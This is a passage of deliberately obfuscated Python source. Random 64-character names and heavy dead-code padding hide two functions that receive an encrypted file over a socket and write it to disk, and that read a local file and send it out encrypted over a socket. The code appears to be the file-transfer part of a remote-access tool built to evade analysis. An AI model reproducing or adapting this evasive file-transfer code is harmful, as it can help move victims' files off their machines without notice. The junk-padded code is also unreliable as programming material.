28 | DDXjfrCtVXGJLmjmHeWlopOjGZFNyQesUkygsNSqgnbKYyIWdSrkctbiPkOdpMvw = 'guKrFAuEOjXwtQELzYYrLwzhuEvOFCStwvGzBJDdcTypNKUxCLDzBYHcrCvWHEvs'
29 | FjVhKdLODQCasLGCDNzdQeUXIYXNrtVrUFEPrCBqtUfQXDUFDOtbeyJcJquqabAf = 'WngsXXmZYjQNDbLUBnesxPyPYsOYtulwycyGYsjdnSlHYhCBDrgykRItAyOtWbgG'
30 | if OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu != kAgTKZAqmJNWgTzDMnVcFgrhHOKfoTqxxgJEHLSxkzBgpTAMMIPZWRKoxLJpdgJA:
31 | LefkFcvyzEYTLildOQXMXlJzsfPNAAiGzmczlxUFFJGGQiRRDPhjWcouyQRLBVwj = yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU
32 | for FjVhKdLODQCasLGCDNzdQeUXIYXNrtVrUFEPrCBqtUfQXDUFDOtbeyJcJquqabAf in kAgTKZAqmJNWgTzDMnVcFgrhHOKfoTqxxgJEHLSxkzBgpTAMMIPZWRKoxLJpdgJA:
33 | if FjVhKdLODQCasLGCDNzdQeUXIYXNrtVrUFEPrCBqtUfQXDUFDOtbeyJcJquqabAf != yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU:
34 | LefkFcvyzEYTLildOQXMXlJzsfPNAAiGzmczlxUFFJGGQiRRDPhjWcouyQRLBVwj = LefkFcvyzEYTLildOQXMXlJzsfPNAAiGzmczlxUFFJGGQiRRDPhjWcouyQRLBVwj
35 | else:
36 | DDXjfrCtVXGJLmjmHeWlopOjGZFNyQesUkygsNSqgnbKYyIWdSrkctbiPkOdpMvw = OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu
37 | else:
38 | yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU = OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu
39 | OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu = DDXjfrCtVXGJLmjmHeWlopOjGZFNyQesUkygsNSqgnbKYyIWdSrkctbiPkOdpMvw
40 | if yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU == OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu:
41 | for FjVhKdLODQCasLGCDNzdQeUXIYXNrtVrUFEPrCBqtUfQXDUFDOtbeyJcJquqabAf in OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu:
42 | if FjVhKdLODQCasLGCDNzdQeUXIYXNrtVrUFEPrCBqtUfQXDUFDOtbeyJcJquqabAf == yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU:
43 | yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU = OrWhKMzLbtqsjCSfjnJCfgfGqdtaFgSFqOnVOFfQUJAALouiVHnWjotAVEbutfGu
44 | else:
45 | yVbFCoQAlHnGfcLoUiwwgnbzWaeKvvfUbxqIoVxfwmFgpEIKPHjxLjpxctiLTptU = DDXjfrCtVXGJLmjmHeWlopOjGZFNyQesUkygsNSqgnbKYyIWdSrkctbiPkOdpMvw
46 | from nKbUkihXLlMWJrtNnCRcTGMYRJhZczQpkiRykOQxgRprtOFeGNwMGLtUivpeXiHx import AmBMPUXfxRYRqYqLEGrcFrLfsogkMCIZmVbQCgYjPfHfNyJFSwUHSVhbJIIEUCqX
47 | def jMnkkEqpyuTZYUpoPbVPOmQryZEaLvJljaSudbayGkmbufXMEaqvpTenGYmEJQsJ(fWxIyKrfPXQunUOIULdcLwDRvDkMBgAtnbtDiopiWlyHOCOfwpyiBGUUtjvhMqvu, McQeQkNSsZijapaEioDCkifcVGzxaagWkTSJEwksLPmNHItFJMDQswcfnwKdQsDw):
48 | fWxIyKrfPXQunUOIULdcLwDRvDkMBgAtnbtDiopiWlyHOCOfwpyiBGUUtjvhMqvu = 'WbWChuIzXCqfEcWBnnSaQZKcFkOAeoRdNrirAnNeGZDSTwTenXTREYQlWdOEPkMR'
49 | McQeQkNSsZijapaEioDCkifcVGzxaagWkTSJEwksLPmNHItFJMDQswcfnwKdQsDw = 'eNBUWocuyFRkmCbxyiKmhWcgqVLiwDExrYLJdVWnErcYMCdPfGZAMuYznKhhshWd'
50 | try:
51 | for uxXHRgcgfaSWTqzXvUWygVTjJJiXKDjYyWMkUNqAvlrdHgJlheJjwZRMILlkpaJs in fWxIyKrfPXQunUOIULdcLwDRvDkMBgAtnbtDiopiWlyHOCOfwpyiBGUUtjvhMqvu:
52 | if uxXHRgcgfaSWTqzXvUWygVTjJJiXKDjYyWMkUNqAvlrdHgJlheJjwZRMILlkpaJs == McQeQkNSsZijapaEioDCkifcVGzxaagWkTSJEwksLPmNHItFJMDQswcfnwKdQsDw:
53 | jqGDkVqXLxFfByISFzpbPuTnOURuAabpNjUPfdJffracWIvlQPZyvhTIaILXMxwj = []
54 | RCJRepRtzWwPeqVnZCdIvvTsXBmjnMvUwlcrONnzhldDlwcZddBsGQDITHVkXEvi = None
55 | else:
56 | pass
57 | except:
58 | pass
59 | from nKbUkihXLlMWJrtNnCRcTGMYRJhZczQpkiRykOQxgRprtOFeGNwMGLtUivpeXiHx import joJTERcjQePNRpvqYlkqpCssoVqSBZgwfLVgDmQoBAbKAgMoQXvTfnJTDYUZSgIE
60 | def lcQnBZuedOdnVLgpuVHnTOYuCHFtkcHCybFLyYofTvhEzSYncXEOuqZBkwUaeXtz(IBUWOKcbFrOnrzzGdhQMSfZlWUrbuspgmNgrKGoKBeJFsXDHWqvZuiSeUyhQRqTD):
61 | IBUWOKcbFrOnrzzGdhQMSfZlWUrbuspgmNgrKGoKBeJFsXDHWqvZuiSeUyhQRqTD = 'FEWoAUCASmFBePWAyDxskFxEowksaEHqvlufvnzGGaNCqUJvrxXwdstXLLCiMnlK'
62 | WAknERDHdaZuTmTDSPBwHTBKexNuicgKLxCNVWIwyVtFytjwNqDzubWuRvaOhlTj = 'OoYAYWCiTtcPxpnJRnGYqVihLamNeRNaWwszHuXQfOSNiEeHYsBHvmXedWpnvUYd'
63 | if IBUWOKcbFrOnrzzGdhQMSfZlWUrbuspgmNgrKGoKBeJFsXDHWqvZuiSeUyhQRqTD == WAknERDHdaZuTmTDSPBwHTBKexNuicgKLxCNVWIwyVtFytjwNqDzubWuRvaOhlTj:
64 | for TdMqVTsqLanYQekSoUerHAgzfliOMIqCrwmUHsMQRbGSrUUdUKPyNSQtwyaidSVz in WAknERDHdaZuTmTDSPBwHTBKexNuicgKLxCNVWIwyVtFytjwNqDzubWuRvaOhlTj:
65 | if TdMqVTsqLanYQekSoUerHAgzfliOMIqCrwmUHsMQRbGSrUUdUKPyNSQtwyaidSVz == WAknERDHdaZuTmTDSPBwHTBKexNuicgKLxCNVWIwyVtFytjwNqDzubWuRvaOhlTj:
66 | continue
67 | else:
68 | JCVpUOKXiJwVEXMOwMmHgWsZbygnebDCGNqiLuvhScAjhpPiSDmzclGiJrcLDsKE = False
69 | def rvrZVgVGebYWsshfnpjojVXRWbJHHEhkvgSFwFArUKRelnDwdPQuCEIeXHcywQuI(sock, yMArcCqmODxLenuvUrEueDuGbuZLHgDfYJWMpinUeCBcgAUAbEQmsWflYJvGNVEt, key):
70 | with open(yMArcCqmODxLenuvUrEueDuGbuZLHgDfYJWMpinUeCBcgAUAbEQmsWflYJvGNVEt, 'wb') as f:
71 | tCOgTSkUQPHeSQGsOZTrrSQOnYyOVFgUcYWzgyWmATBWWHJPCxxmqCaNRDNhTLJq = 'RPeyyFDUnvWVgfWUvLtrvGzvXHyeXpTvmAOplfQphZEOZAwfpfXQMNsLAgPJReLw'
72 | AgOvUpQFQzNqukNASeXipQpmAmvrfstExeSeoksTDIqJhWBgaJKnPhbjqswCeMDd = 'EnvwwUDvpeHbWdNjrYzIRktKwCVLHcNWXLSlVAkAabIUAbekNpasJTcyTxyzFxbw'
73 | sjmtunhjpeSukLfovGgOKsdXfOWqlQkQhetmEeTgUNJAHykFrSvBoEvCwIsjJRmw = 'RMMmbxUnzHRkUCqvJwoTuAHpojiJBoIududMtdBcPPWgphZwEhhfdVMnLPqeIjfK'
74 | if tCOgTSkUQPHeSQGsOZTrrSQOnYyOVFgUcYWzgyWmATBWWHJPCxxmqCaNRDNhTLJq == AgOvUpQFQzNqukNASeXipQpmAmvrfstExeSeoksTDIqJhWBgaJKnPhbjqswCeMDd:
75 | sjmtunhjpeSukLfovGgOKsdXfOWqlQkQhetmEeTgUNJAHykFrSvBoEvCwIsjJRmw = 'RMMmbxUnzHRkUCqvJwoTuAHpojiJBoIududMtdBcPPWgphZwEhhfdVMnLPqeIjfK'
76 | sjmtunhjpeSukLfovGgOKsdXfOWqlQkQhetmEeTgUNJAHykFrSvBoEvCwIsjJRmw = tCOgTSkUQPHeSQGsOZTrrSQOnYyOVFgUcYWzgyWmATBWWHJPCxxmqCaNRDNhTLJq
77 | else:
78 | sjmtunhjpeSukLfovGgOKsdXfOWqlQkQhetmEeTgUNJAHykFrSvBoEvCwIsjJRmw = 'RMMmbxUnzHRkUCqvJwoTuAHpojiJBoIududMtdBcPPWgphZwEhhfdVMnLPqeIjfK'
79 | sjmtunhjpeSukLfovGgOKsdXfOWqlQkQhetmEeTgUNJAHykFrSvBoEvCwIsjJRmw = 'RPeyyFDUnvWVgfWUvLtrvGzvXHyeXpTvmAOplfQphZEOZAwfpfXQMNsLAgPJReLw'
80 | MTTNJpzKWEJakxViVlSBSqrGyqXeNCSvRmWXnzFhoxmzxcVwcNcZXFosIWlUAlwE = struct.unpack("!I", sock.recv(4))[0]
81 | while MTTNJpzKWEJakxViVlSBSqrGyqXeNCSvRmWXnzFhoxmzxcVwcNcZXFosIWlUAlwE:
82 | SkpDblNhbQKnsQkOSALUAcpGagQMuIKRoUhlnQzOiwzuKPtRSMQngUhrNawAizKX = 'HZmKNBeFnCBeMNrYQbXamkpaCVpZrNarOdmKbuVnfGohnnpwXZaGHHMmSnbPZOmE'
83 | VyZOtFPFyXEsGXPhqTpjykjKRmemNjegmNuthCFiChuBLRNNiZwLQENWDAskkiOa = 'wQeRavtRqLdokTRyukADfqsIhdjAyqJmXSbmkJRYDImcvUIVjEWwROqPZfyZpgqW'
84 | if SkpDblNhbQKnsQkOSALUAcpGagQMuIKRoUhlnQzOiwzuKPtRSMQngUhrNawAizKX != VyZOtFPFyXEsGXPhqTpjykjKRmemNjegmNuthCFiChuBLRNNiZwLQENWDAskkiOa:
85 | SkpDblNhbQKnsQkOSALUAcpGagQMuIKRoUhlnQzOiwzuKPtRSMQngUhrNawAizKX = 'wQeRavtRqLdokTRyukADfqsIhdjAyqJmXSbmkJRYDImcvUIVjEWwROqPZfyZpgqW'
86 | VyZOtFPFyXEsGXPhqTpjykjKRmemNjegmNuthCFiChuBLRNNiZwLQENWDAskkiOa = SkpDblNhbQKnsQkOSALUAcpGagQMuIKRoUhlnQzOiwzuKPtRSMQngUhrNawAizKX
87 | SkpDblNhbQKnsQkOSALUAcpGagQMuIKRoUhlnQzOiwzuKPtRSMQngUhrNawAizKX = 'HZmKNBeFnCBeMNrYQbXamkpaCVpZrNarOdmKbuVnfGohnnpwXZaGHHMmSnbPZOmE'
88 | RMKhJnVZXgVPQYJOyWkqVHkBpgamzkbyJLNtzvqKJgbexPnPxUUETyYSfzwZpXKH = sock.recv(MTTNJpzKWEJakxViVlSBSqrGyqXeNCSvRmWXnzFhoxmzxcVwcNcZXFosIWlUAlwE)
89 | f.write(joJTERcjQePNRpvqYlkqpCssoVqSBZgwfLVgDmQoBAbKAgMoQXvTfnJTDYUZSgIE(RMKhJnVZXgVPQYJOyWkqVHkBpgamzkbyJLNtzvqKJgbexPnPxUUETyYSfzwZpXKH, key))
90 | MTTNJpzKWEJakxViVlSBSqrGyqXeNCSvRmWXnzFhoxmzxcVwcNcZXFosIWlUAlwE = struct.unpack("!I", sock.recv(4))[0]
91 | def GfCykRhqIovtdCTDeQWtlGrvonzQKqPQYklMAtdIILyeOUrNJLyuYuoBsYyvDBkf(sock, yMArcCqmODxLenuvUrEueDuGbuZLHgDfYJWMpinUeCBcgAUAbEQmsWflYJvGNVEt, key):
92 | with open(yMArcCqmODxLenuvUrEueDuGbuZLHgDfYJWMpinUeCBcgAUAbEQmsWflYJvGNVEt, 'rb') as f:
93 | VpUkiDUqoBeohPXtjIreihJKoXRjyQlIhmAVTfWMRZzvOopptvdEqAwmNNmYcNaa = 'wtxSeqLcbLlOhEwZjmNCVftizHazrSLmPzwvtQImwngSsrkrJdQLWMZVziVfXzty'
94 | RrdfUvfhugbXhvGBoefBBdFTbQrApiDwEywKiDmHtoNHnJJwfYrCdTPDBCyHvZYw = 'xwXMdKppJCsGkUUghLSMQNvGVvFuPyvFIznLDCkHZpIkgUaNeYqFNDzkRglxTiSL'
95 | wcFdnYQuLMRCpjAnoGlKOocHyJcToebzsSbRXUiopHkGKediBfNUfReeVvfYuzud = 'oYccgsGyGyFhsgssTPhcphvSJcJbvwOJLYgNnGXPERhSZSzorIRdxXzzjzkKmRJf'
96 | NOlZndEHRXlZqQUGpnegoaweZzXhKfcWUsvCzFHDIFsuLBykldpgoRinLweZFikA = 'FZPquRTEIHrWCatEIZBTIRGZfAfYDjtTaYnGUxxXIpFoSeozFCBlBtPhxeVCPulH'
97 | YsBeotheLkSJjHNoCeXOSoOrgwbJyUFObmSJNlFVmgULzYXmyKVBYqTzbrXPaMhB = 'mYgAXntOKulVZkKkTkcpZBhtjkVvecoqBLGXrlsPxJbAUgbxgzRDLFvnmmBHrlUt'
98 | QlhGitSffisyoZTuDpWjLcPfljxMjOlDfoKqQQJAlGPcUMBCyBmFYsfaIRBMoQSY = 'uzazmXuNNknISEIakQExRZBYicMeULCAhpAEQshWZKWbVgcoOlNwWhLGxDxwvaMO'
99 | if wcFdnYQuLMRCpjAnoGlKOocHyJcToebzsSbRXUiopHkGKediBfNUfReeVvfYuzud == NOlZndEHRXlZqQUGpnegoaweZzXhKfcWUsvCzFHDIFsuLBykldpgoRinLweZFikA:
100 | for QlhGitSffisyoZTuDpWjLcPfljxMjOlDfoKqQQJAlGPcUMBCyBmFYsfaIRBMoQSY in YsBeotheLkSJjHNoCeXOSoOrgwbJyUFObmSJNlFVmgULzYXmyKVBYqTzbrXPaMhB:
101 | if QlhGitSffisyoZTuDpWjLcPfljxMjOlDfoKqQQJAlGPcUMBCyBmFYsfaIRBMoQSY == NOlZndEHRXlZqQUGpnegoaweZzXhKfcWUsvCzFHDIFsuLBykldpgoRinLweZFikA:
102 | YsBeotheLkSJjHNoCeXOSoOrgwbJyUFObmSJNlFVmgULzYXmyKVBYqTzbrXPaMhB = VpUkiDUqoBeohPXtjIreihJKoXRjyQlIhmAVTfWMRZzvOopptvdEqAwmNNmYcNaa
103 | else:
104 | NOlZndEHRXlZqQUGpnegoaweZzXhKfcWUsvCzFHDIFsuLBykldpgoRinLweZFikA = RrdfUvfhugbXhvGBoefBBdFTbQrApiDwEywKiDmHtoNHnJJwfYrCdTPDBCyHvZYw
105 | RMKhJnVZXgVPQYJOyWkqVHkBpgamzkbyJLNtzvqKJgbexPnPxUUETyYSfzwZpXKH = f.read(4096)
106 | while len(RMKhJnVZXgVPQYJOyWkqVHkBpgamzkbyJLNtzvqKJgbexPnPxUUETyYSfzwZpXKH):
107 | UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw = 'rRKbPkjrdIWcYqzJeQGIjjVufidoXKXVPzBevEvjFaOWMcAAGVJQPLjDBZUQdQeD'
108 | MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk = 'FxYKtJVPlNXCHaXCgsoyCucUFAWYyMffARXtBOexpwGzrvXVKcdTXXbmRvstmVRZ'
109 | ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh = 'hBaYbrfCeRypvFfJnkcAoWhgQwRCtJsgQVqsKfCpYWkuJCWhtnqIcDAAqAnYsWfC'
110 | ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo = 'XEMQwkZoTZLwFJAOFKKlebXLmczWtsaskiJdMAIeaFsqMTjQfHlBTkEKXYXwaeUj'
111 | if MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk == UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw:
112 | for UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw in MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk:
113 | if MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk == MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk:
114 | ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh = 'ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo'
115 | elif ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh == ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo:
116 | ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo = UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw
117 | else:
118 | UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw = MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk
119 | elif ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh == ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh:
120 | for ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh in MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk:
121 | if ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo == MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk:
122 | ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh = 'ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo'
123 | elif ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh == ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo:
124 | ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo = UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw
125 | else:
126 | UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw = MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk
127 | for ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh in MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk:
128 | if ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo == MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk:
129 | ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh = 'ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo'
130 | elif ZpmkQAszEmxrBCkNjiyrCqonWWMTgEOsiKvysPMMHtMIpEDuecUYztKtSqEwemwh == ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo:
131 | ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo = UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw
132 | else:
133 | UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw = ntoyeTrffkVDSXUWgnQFabLjdcykPHTNCpdZyuUpKTNZkvynOeUUrUSJuSlFBcXo
134 | else:
135 | UQcQfQgUIIYvwUUdhaDvIuWbrdJtvMatuWbxDxtgKovVVRcLmYcDdChnObfwJBEw = MWsqbxCQkQpVzVGyZgtoefyKBubMcRdWgLalikWaFFmbZxctBmAXFBSUnSqguPIk
136 | OpppigobdgnngYZvkSGRfvRGHreUomuCjaJsBrauKjydjrHPyAYVHtQaeLUMRUwP = AmBMPUXfxRYRqYqLEGrcFrLfsogkMCIZmVbQCgYjPfHfNyJFSwUHSVhbJIIEUCqX(RMKhJnVZXgVPQYJOyWkqVHkBpgamzkbyJLNtzvqKJgbexPnPxUUETyYSfzwZpXKH, key)
137 | sock.send(struct.pack("!I", len(OpppigobdgnngYZvkSGRfvRGHreUomuCjaJsBrauKjydjrHPyAYVHtQaeLUMRUwP)))
138 | sock.send(OpppigobdgnngYZvkSGRfvRGHreUomuCjaJsBrauKjydjrHPyAYVHtQaeLUMRUwP)
139 | RMKhJnVZXgVPQYJOyWkqVHkBpgamzkbyJLNtzvqKJgbexPnPxUUETyYSfzwZpXKH = f.read(4096)
140 | sock.send('\x00\x00\x00\x00')
141 |
--------------------------------------------------------------------------------